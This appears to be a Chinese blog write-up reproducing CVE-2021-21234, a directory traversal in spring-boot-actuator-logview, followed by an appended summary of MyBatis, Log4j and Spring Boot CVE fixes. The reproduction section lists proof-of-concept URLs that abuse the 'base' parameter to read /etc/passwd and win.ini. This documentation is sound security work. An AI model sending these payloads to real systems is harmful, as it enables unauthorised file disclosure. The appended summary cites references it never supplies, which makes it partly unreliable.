Spring Boot 目录遍历 (CVE-2021_21234)

Spring Boot 目录遍历 (CVE-2021_21234)

漏洞简介:

spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包“eu.hinsch:spring-boot-actuator-logview”。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此filename=../somefile 将不起作用),但没有充分检查基本文件夹参数,因此filename=somefile&base=../ 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修复。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。

影响范围:

0.2.13版本之前

环境搭建 地址

漏洞复现:

访问首页

构造poc,view函数对filename参数进行合法性校验,但是没有对base参数进行合法性校验。
 

"{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows

"{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # windows

"{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux

"{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux

这里采用linux的第一种,得到回显 

漏洞修复:

根据官方,升级到最新版

### 关于Jar包漏洞及其修复方案 对于 Jar 包相关的漏洞,通常可以通过其对应的框架或库的官方公告以及 CVE 数据库来了解具体的漏洞详情和修复建议。以下是针对几个常见框架(MyBatis、Log4j 和 Spring Boot)中的漏洞描述及修复方案: #### MyBatis 漏洞 (CVE-2020-26945) MyBatis 的 CVE-2020-26945 漏洞影响了版本低于 3.5.6 的用户。此漏洞可能导致安全风险,因此推荐受影响用户尽快升级至最新稳定版以获得修补支持[^1]。 ```java // 升级依赖示例 <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.6</version> <!-- 或更高 --> </dependency> ``` #### Log4j 漏洞 (CVE-2021-44832) Log4j 的 CVE-2021-44832 是一种远程代码执行(RCE)漏洞,在特定情况下允许攻击者通过 JDBC 追加器发起攻击。解决办法是更新到以下版本之一: - Java 8 用户应使用 Log4j 2.17.1; - Java 7 用户应使用 Log4j 2.12.4; - Java 6 用户则需采用 Log4j 2.3.2[^2]。 ```xml <!-- Maven 配置示例 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.17.1</version> <!-- 根据环境调整 --> </dependency> ``` #### Spring Boot 漏洞 (CVE-2024-38819) Spring Boot 中发现了一个新的目录遍历漏洞(CVE-2024-38819),它可能被利用访问受限文件资源。为了防止此类威胁,开发者应当将项目所使用的 Spring Boot 更新至至少 3.3.5 版本[^3]。 ```properties # Gradle 构建脚本片段 implementation &#39;org.springframework.boot:spring-boot-starter:3.3.5&#39; ``` --- ### 总结 上述提到的不同 jar 包存在各自的安全隐患,但均提供了明确的修复路径——即及时迁移到官方发布的安全性增强版本上。这不仅有助于消除当前已知的风险点,还能享受未来持续改进带来的益处。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值